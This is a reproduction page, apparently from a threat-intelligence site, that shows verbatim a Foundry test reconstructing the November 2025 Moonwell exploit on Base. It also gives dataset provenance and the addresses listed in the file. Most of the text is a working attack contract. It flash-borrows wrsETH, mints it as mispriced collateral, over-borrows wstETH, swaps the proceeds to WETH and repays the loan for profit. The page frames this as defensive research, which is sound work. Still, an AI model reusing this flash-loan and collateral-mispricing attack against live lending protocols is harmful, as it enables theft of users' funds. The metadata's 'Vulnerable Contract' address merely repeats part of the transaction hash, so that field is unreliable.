Public reproduction file
src/test/2025-11/Moonwell_exp.sol
Public reproduction file for dataset entry Moonwell.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;5import "forge-std/Test.sol";6import "../interface.sol";8// @KeyInfo - Total Lost : 1M USD9// Attacker : https://basescan.org/address/0x6997a8c804642ae2de16d7b8ff09565a5d5658ff10// Attack Contract : https://basescan.org/address/0x42ecd332d47c91cbc83b39bd7f53cebe5e9734bb11// Vulnerable Contract : 12// Attack Tx : https://app.blocksec.com/explorer/tx/base/0x190a491c0ef095d5447d6d813dc8e2ec11a5710e189771c24527393a2beb05ac14// @Info15// Vulnerable Contract Code : 17// @Analysis18// https://x.com/CertiKAlert/status/198562045299225397319// https://finance.yahoo.com/news/moonwell-hack-1m-lost-chainlink-123012371.html20// https://www.halborn.com/blog/post/explained-the-moonwell-hack-november-202522interface ICLFlashCallback {23 function uniswapV3FlashCallback(24 uint256 fee0,25 uint256 fee1,26 bytes calldata data27 ) external;28}30interface ICLSwapCallback {31 function uniswapV3SwapCallback(32 int256 amount0Delta,33 int256 amount1Delta,34 bytes calldata data35 ) external;36}38interface ICLPool is ICLFlashCallback, ICLSwapCallback {39 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;41 function swap(42 address recipient,43 bool zeroForOne,44 int256 amountSpecified,45 uint160 sqrtPriceLimitX96,46 bytes calldata data47 ) external returns (int256 amount0, int256 amount1);49 function token0() external view returns (address);50 function token1() external view returns (address);52 function slot0()53 external54 view55 returns (56 uint160 sqrtPriceX96,57 int24 tick,58 uint16 observationIndex,59 uint16 observationCardinality,60 uint16 observationCardinalityNext,61 bool unlocked62 );63}65interface IComptroller {66 function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory);67}69interface ICErc20 {70 function mint(uint256 mintAmount) external returns (uint256);71 function borrow(uint256 borrowAmount) external returns (uint256);72}74contract ContractTest is Test {75 // Pools76 address constant CLPOOL_WSTETH_WRSETH = 0x14dcCDd311Ab827c42CCA448ba87B1ac1039e2A4;77 address constant CLPOOL_WSTETH_WETH = 0x861A2922bE165a5Bd41b1E482B49216b465e1B5F;78 address constant V3POOL_WRSETH_WETH = 0x16e25fAcBA67a40dA3436ab9E2E00C30daB0dD97;80 // Tokens81 address constant WRSETH = 0xEDfa23602D0EC14714057867A78d01e94176BEA0; // rsETHWrapper (wrsETH) on Base82 address constant MW_RSETH = 0xfC41B49d064Ac646015b459C522820DB9472F4B5; // Moonwell mwrsETH cToken83 address constant MW_STETH = 0x627Fe393Bc6EdDA28e99AE648fD6fF362514304b;84 address constant WSTETH = 0xc1CBa3fCea344f92D9239c08C0568f6F2F0ee452; // wstETH on Base85 address constant WETH = 0x4200000000000000000000000000000000000006; // canonical WETH on Base87 // Moonwell Comptroller (Unitroller)88 address constant COMPTROLLER = 0xfBb21d0380beE3312B33c4353c8936a0F13EF26C;90 uint256 constant BLOCK = 37722882 - 1;92 AttackContract attacker;94 function setUp() public {95 vm.createSelectFork("base", BLOCK);96 vm.label(V3POOL_WRSETH_WETH, "UniswapV3Pool");97 vm.label(WRSETH, "wrsETH");98 vm.label(MW_RSETH, "mwrsETH"); 99 vm.label(MW_STETH, "mwstETH");100 vm.label(WSTETH, "0xc1cb_wstETH");101 vm.label(WETH, "WETH");103 attacker = new AttackContract(104 CLPOOL_WSTETH_WRSETH,105 CLPOOL_WSTETH_WETH,106 V3POOL_WRSETH_WETH,107 WRSETH,108 MW_RSETH,109 MW_STETH,110 COMPTROLLER,111 WSTETH,112 WETH113 );115 vm.label(address(attacker), "Receiver");116 }118 function testExploit() public {119 uint256 wethBefore = IERC20(WETH).balanceOf(address(attacker));121 attacker.attack();123 uint256 wethAfter = IERC20(WETH).balanceOf(address(attacker));124 emit log_named_uint("WETH profit", wethAfter - wethBefore);126 assertGt(wethAfter, wethBefore);127 }128}130contract AttackContract is Test, ICLFlashCallback, ICLSwapCallback {131 uint256 internal constant FLASH_AMOUNT = 20_782_357_954_960;132 uint256 internal constant BORROW_AMOUNT = 20_592_096_934_942_276_800;133 uint160 internal constant MIN_SQRT_RATIO = 4295128739;134 uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;136 ICLPool public clPoolWstEthWrsEth;137 ICLPool public clPoolWstEthWeth;138 ICLPool public v3PoolWrsEthWeth;140 IERC20 public wrsEth;141 ICErc20 public mwrsEth;142 ICErc20 public mwstEth;144 IComptroller public comptroller;146 IERC20 public wstEth;147 IERC20 public weth;149 constructor(150 address _clpoolWstEthWrsEth,151 address _clpoolWstEthWeth,152 address _v3poolWrsEthWeth,153 address _wrsEth,154 address _mwrsEth,155 address _mwstEth,156 address _comptroller,157 address _wstEth,158 address _weth159 ) {160 clPoolWstEthWrsEth = ICLPool(_clpoolWstEthWrsEth);161 clPoolWstEthWeth = ICLPool(_clpoolWstEthWeth);162 v3PoolWrsEthWeth = ICLPool(_v3poolWrsEthWeth);164 wrsEth = IERC20(_wrsEth);165 mwrsEth = ICErc20(_mwrsEth);166 mwstEth = ICErc20(_mwstEth);167 comptroller = IComptroller(_comptroller);168 wstEth = IERC20(_wstEth);169 weth = IERC20(_weth);170 }172 function attack() public {173 // take wrsETH flash loan from wstETH/wrsETH pool174 clPoolWstEthWrsEth.flash(175 address(this),176 0, // amount0 (wstETH)177 FLASH_AMOUNT, // amount1 (wrsETH)178 bytes("") 179 );181 // swap remaining wrsETH to WETH to realize profit182 uint256 wrsEthBalance = wrsEth.balanceOf(address(this));183 v3PoolWrsEthWeth.swap(184 address(this),185 false, 186 int256(wrsEthBalance), 187 MAX_SQRT_RATIO - 1,188 bytes("")189 );191 uint256 wethBalance = weth.balanceOf(address(this));192 }194 function uniswapV3FlashCallback(195 uint256,196 uint256 fee1,197 bytes calldata198 ) external override {199 require(msg.sender == address(clPoolWstEthWrsEth), "invalid flash caller");201 uint256 flashAmount = wrsEth.balanceOf(address(this));202 wrsEth.approve(address(mwrsEth), flashAmount);203 mwrsEth.mint(flashAmount);205 address[] memory markets = new address[](1);206 markets[0] = address(mwrsEth);207 comptroller.enterMarkets(markets);209 // over-borrow wstETH using the mispriced wrsETH collateral210 mwstEth.borrow(BORROW_AMOUNT);212 // swap borrowed wstETH -> WETH on wstETH/WETH pool213 uint256 wstBalance = wstEth.balanceOf(address(this));214 clPoolWstEthWeth.swap(215 address(this),216 false, 217 int256(wstBalance), 218 MAX_SQRT_RATIO - 1,219 bytes("")220 );222 // swap WETH -> wrsETH on wrsETH/WETH UniswapV3 pool to get wrsETH to repay flash loan223 uint256 wethBalance = weth.balanceOf(address(this));224 v3PoolWrsEthWeth.swap(225 address(this),226 true, 227 int256(wethBalance), 228 MIN_SQRT_RATIO + 1,229 bytes("")230 );232 // repay wrsETH flash loan + fee1 back to wstETH/wrsETH pool233 uint256 repayAmount = flashAmount + fee1;234 wrsEth.transfer(address(clPoolWstEthWrsEth), repayAmount);235 }237 function uniswapV3SwapCallback(238 int256 amount0Delta,239 int256 amount1Delta,240 bytes calldata241 ) external override {242 address token0;243 address token1;245 if (msg.sender == address(clPoolWstEthWeth)) {246 token0 = clPoolWstEthWeth.token0();247 token1 = clPoolWstEthWeth.token1();248 } else if (msg.sender == address(v3PoolWrsEthWeth)) {249 token0 = v3PoolWrsEthWeth.token0();250 token1 = v3PoolWrsEthWeth.token1();251 } else {252 revert("invalid swap caller");253 }255 if (amount0Delta > 0) {256 IERC20(token0).transfer(msg.sender, uint256(amount0Delta));257 }258 if (amount1Delta > 0) {259 IERC20(token1).transfer(msg.sender, uint256(amount1Delta));260 }261 }262}Analysis
Dataset entry
Public Foundry test for “Moonwell” (2025-11-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
4 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-11/BalancerV2_exp.solSame month in the dataset · 459 lines
- src/test/2025-11/DRLVaultV3_exp.solSame month in the dataset · 161 lines
- src/test/2026-02/Moonwell_exp.solSame protocol or name in the dataset · 133 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6997a8c804642ae2de16d7b8ff09565a5d5658ff
- Attack Contract
0x42ecd332d47c91cbc83b39bd7f53cebe5e9734bb
- Vulnerable Contract
0x190a491c0ef095d5447d6d813dc8e2ec11a5710e
- Attack Tx
0x190a491c0ef095d5447d6d813dc8e2ec11a5710e189771c24527393a2beb05ac
File record
- Name
- Moonwell
- Path
- src/test/2025-11/Moonwell_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 51e34c0eb9ce2119ae82f61c85f03e0bf0134698
- Language
- Solidity
- Size
- 265 lines
- Date
- 2025-11-04
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-11/Moonwell_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 51e34c0eb9ce2119ae82f61c85f03e0bf0134698, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.